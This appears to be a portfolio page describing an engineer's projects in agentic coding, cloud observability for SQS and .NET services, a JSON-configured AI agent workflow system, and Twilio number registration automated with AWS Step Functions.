Agentic coding and agent tooling
Wesley uses Claude Code and OpenAI Codex to accelerate design,
implementation, and iteration without treating them as substitutes
for engineering judgment. The goal is usually to move faster on
real customer work while keeping the output reviewable and practical.
That work also includes creating skills for OpenClaw and related
agent workflows, with an emphasis on reusable patterns that help
agents produce useful drafts, implementations, and operational tools.
Improving observability in a file-sending integration service
Wesley helped refine a newly launched document delivery service that
routed files from cloud infrastructure into an on-prem abstraction
layer with many downstream customer integrations. The core problem
was not only failed processing, but poor visibility into where a
failure actually originated.
He defined the implementation ticket and acceptance criteria, added
structured error handling in the SQS processing path, and separated
in-service failures from downstream integration failures. Enriched
logs and clearer categories made Grafana views more useful for
triage and ownership.
Drafting an observability pattern for .NET services in ECS
On a .NET service running in ECS, Wesley used ChatGPT as a drafting
partner while designing an observability pattern that covered
requirements, sample code, container configuration, metrics, and
OpenTelemetry sidecar integration for CloudWatch and Grafana.
The work was useful because it accelerated documentation, but it
also reinforced the need for review. Requirements, config values,
and example implementations were checked carefully with senior
engineers and architects, with a preference for simpler and more
defensible solutions over cleverness.
Designing a configurable JSON workflow system for AI agents
Wesley contributed to a workflow-based system that allowed teams to
define conversational AI agents through simple JSON node and edge
configurations. It supported customer service and medical
administration workflows in a realtime streaming environment.
The design stayed intentionally flexible. Rather than assume rigid
AI workflow logic would age well, the system focused on reliable
state handling, correct tool and instruction passing, and canonical
reference tools that other teams could adopt as patterns evolved.
Automating phone number registration with Step Functions
Wesley led the proof of concept, design, and primary implementation
of a workflow that automated Twilio phone number registration for
provider practices. The previous process involved many manual steps
and long turnaround times.
The replacement used Terraform-managed AWS Step Functions, Lambda,
and DynamoDB to create a version-controlled workflow with customer
state tracking, re-drive support, and safer rollout behavior. The
result was a more reliable operational process and a better
experience for practices trying to reach patients from recognizable
local numbers.